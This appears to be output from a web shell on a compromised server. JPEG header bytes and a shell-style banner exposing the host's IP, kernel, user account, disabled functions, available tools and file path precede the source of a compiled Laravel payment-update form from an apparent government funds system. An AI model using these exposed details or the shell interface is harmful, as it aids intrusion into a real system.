ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.7.208 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> Payment Update <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div class="box-body" style="background:#fff;"> <div class="row"> <div class="col-md-12"><!--1st col--> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <?php if(session('message')): ?> <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Success!</strong> <?php echo e(session('message')); ?> </div> <?php endif; ?> <?php if(session('error')): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Success!</strong> <?php echo e(session('error')); ?> </div> <?php endif; ?> </div> </div> <div style="background-color: #f3f3f3; padding:10px; color: black;"> <h4> <span class="text-left">Payment Update</span></h4> <div class="text-right"> Field with <span class="text-danger">*</span> is required</div> </div> <br /><br /> <div class="col-md-12" style="background:#fff;"><!--2nd col--> <form method="post" action="<?php echo e(route('saveUpdatePayment')); ?>" enctype="multipart/form-data"> <?php echo e(csrf_field()); ?> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label for="contractType">Contract Type <span class="text-danger">*</span> </label> <select name="contractType" id="contractType" required class="form-control"> <option value="<?php echo e(isset($edit) ? $edit->conID : ''); ?>"><?php echo e(isset($edit) ? $edit->contractType : 'Select'); ?></option> <?php $__empty_1 = true; $__currentLoopData = $contractType; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $contracts): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?> <option value="<?php echo e($contracts->ID); ?>" <?php echo e($contracts->ID == old('contractType') ? 'Selected' : ''); ?>><?php echo e($contracts->contractType); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?> <?php endif; ?> </select> </div> </div><!-- /.col --> <input type="hidden" id="allocationType" name="allocationType" value='5'> <!-- <div class="col-md-4"> <div class="form-group"> <label for="allocationType">Allocation Type <span class="text-danger">*</span> </label> <select name="allocationType" id="allocationType" required class="form-control"> <option value="<?php echo e(isset($edit) ? $edit->allID : ''); ?>"><?php echo e(isset($edit) ? $edit->allocation : 'Select'); ?></option> <?php $__empty_1 = true; $__currentLoopData = $allocationType; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $allocations): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?> <option value="<?php echo e($allocations->ID); ?>" <?php echo e($allocations->ID == old('allocationType') ? 'Selected' : ''); ?>><?php echo e($allocations->allocation); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?> <?php endif; ?> </select> </div> </div> --> <div class="col-md-4"> <div class="form-group"> <label for="economicCode">Economic Code <span class="text-danger">*</span> </label> <select name="economicCode" id="economicCode" required class="form-control"> <option value="<?php echo e(isset($edit) ? $edit->ecoCodeID : ''); ?>"><?php echo e(isset($edit) ? $edit->description : ''); ?></option> </select> </div> </div><!-- /.col --> </div><!--row--> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label for="totalPaymnet">Total Payment<span class="text-danger">*</span> </label> <input type="text" value="<?php echo e(isset($edit) ? $edit->totalPayment : old('totalPayment')); ?>" name="totalPaymnet" required class="form-control" placeholder="Enter Total Amount(No comma)"> </div> </div><!-- /.col --> <div class="col-md-4"> <div class="form-group"> <label for="paymentDescription">Payment Description</label> <textarea name="paymentDescription" class="form-control" placeholder="Payment Description"><?php echo e(isset($edit) ? $edit->paymentDescription : old('paymentDescription')); ?></textarea> </div> </div><!-- /.col --> <div class="col-md-4"> <div class="form-group"> <label for="cutOffDate">Cut Off Date </label> <input type="date" value="<?php echo e(isset($edit) ? $edit->datePrepared : old('cutOffDate')); ?>" name="cutOffDate" class="form-control" placeholder="Select Date"> </div> </div><!-- /.col --> </div><!--row--> <div class="row"> <div align="center" class="col-md-12"> <hr /> <?php if(isset($edit)): ?> <a href="<?php echo e(route('cancelUpdate')); ?>" class="btn btn-danger">Cancel Edit</a> <input type="hidden" name="recordID" value="<?php echo e(isset($edit) ? $edit->recordID : ''); ?>" /> <input type="submit" name="submit" class="btn btn-success" value="Update" /> <?php else: ?> <input type="hidden" name="recordID" value="" /> <input type="submit" name="submit" class="btn btn-success" value="Submit" /> <?php endif; ?> </div> </div> <hr /> </form> <form method="post" action="/relaod-payment-transaction" enctype="multipart/form-data"> <?php echo e(csrf_field()); ?> <div class="row"> <div align="center" class="col-md-12"> <input type="hidden" name="contractType1" id="contractType1" value="<?php echo e($contractType1); ?>" /> <input type="submit" class="btn btn-success" value="Reload" name="reload" /> </div> </div> </form> </div> <div align="center" class="col-md-12"> <table class="table table-hover table-stripped table-responsive table-condensed"> <thead> <tr style="background:#d9d9d9"> <th>SN</th> <th>Budget Type </th> <!--<th>Allocation Type</th>--> <th>Economic Code </th> <th>Total Payment</th> <th>Payment Description</th> <th>Cut-Off Date</th> <th colspan="2"></th> </tr> </thead> <tbody> <?php $tpay=0; ?> <?php $__empty_1 = true; $__currentLoopData = $record; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?> <?php $tpay +=$list->totalPayment; ?> <tr> <td><?php echo e(1+$key ++); ?></td> <td><?php echo e($list->contractType); ?></td> <!--<td><?php echo e($list->allocation); ?></td>--> <td><?php echo e($list->economicCode .' - '. $list->description); ?></td> <td><?php echo e(number_format($list->totalPayment, 2)); ?></td> <td><?php echo e($list->paymentDescription); ?></td> <td><?php echo e($list->datePrepared); ?></td> <th><a href="<?php echo e(route('editRecord', ['ID'=>$list->recordID])); ?>" class="btn btn-info"><i class="fa fa-edit"></i></a></th> <th><button type="button" data-toggle="modal" data-backdrop="false" data-target="#delete<?php echo e($list->recordID); ?>" class="btn btn-warning"><i class="fa fa-trash"></i></button></th> </tr> <!-- DeleteModal --> <div class="modal fade text-left" id="delete<?php echo e($list->recordID); ?>" tabindex="-1" role="dialog" aria-labelledby="myModalLabel12" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header bg-danger white"> <h4 class="modal-title" id="myModalLabel12"><i class="fa fa-trash"></i> Delete Record </h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div align="center" class="modal-body"> <div class="text-center"> <?php echo e(('Delete '.$list->paymentDescription)); ?> </div> <h5><i class="fa fa-arrow-right"></i> <?php echo e(('Are you sure you want to delete this record?')); ?> </h5> <p> <div class="text-danger text-center"> <?php echo e(('You will not be able to recover this record again !')); ?> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn grey btn-outline-secondary" data-dismiss="modal">Close</button> <a href="<?php echo e(route('removeRecord', ['ID'=>$list->recordID])); ?>" class="btn btn-outline-danger"> Delete</a> </div> </div> </div> </div> <!--end Modal--> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?> <?php endif; ?> <tr> <!-- <td></td>--> <td></td> <td></td> <td></td> <td><b><?php echo e(number_format($tpay, 2)); ?></b></td> <td></td> <td></td> <th></th> <th></th> </tr> </tbody> </table> </div> <div class="panel-body" style="background:#fff;"> <table class="table table-responsive table-bordered"> </table> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script> $(document).ready(function() { //Function to get student names in a class function getEconomicCodes(contractTypeID, allocationTypeID) { //alert(contractTypeID); if (contractTypeID != "" && allocationTypeID != ""){ $.ajax({ url: '<?php echo e(url("/")); ?>' + '/getEconomicCodeJson/' + contractTypeID + '/' + allocationTypeID, type: 'get', //data: {'classID': classID, '_token': $('input[name=_token]').val()}, data: { format: 'json' }, dataType: 'json', success: function(data) { console.log(data); $('#economicCode').empty(); $('#economicCode').append($('<option>').text(" Select Economic Code").attr('value',"")); $.each(data.ecoCode, function(model, list) { $('#economicCode').append($('<option>').text(list.economicCode + ' - ' +list.description).attr('value', list.economicID)); }); }, error: function(error) { alert("Please we are having issue get your economic codes. Check your network/refresh this page !!!"); } }); }//endif };//end function //calling a function to get student names $('#contractType').change(function() { var contractTypeID = $('#contractType').val(); // ; var allocationTypeID = $('#allocationType').val(); $('#contractType1').val(contractTypeID); //alert(contractTypeID); if (contractTypeID == "") { alert('Please select contract type from the list!'); $('#allocationType').focus() return false; } if (allocationTypeID == "") { alert('Please select allocation type from the list!'); $('#allocationType').focus() return false; } getEconomicCodes(contractTypeID, allocationTypeID); }); }); </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\wamp64\www\funds-upgrade\funds-upgraded\resources\views/UpdatePayment/home.blade.php ENDPATH**/ ?>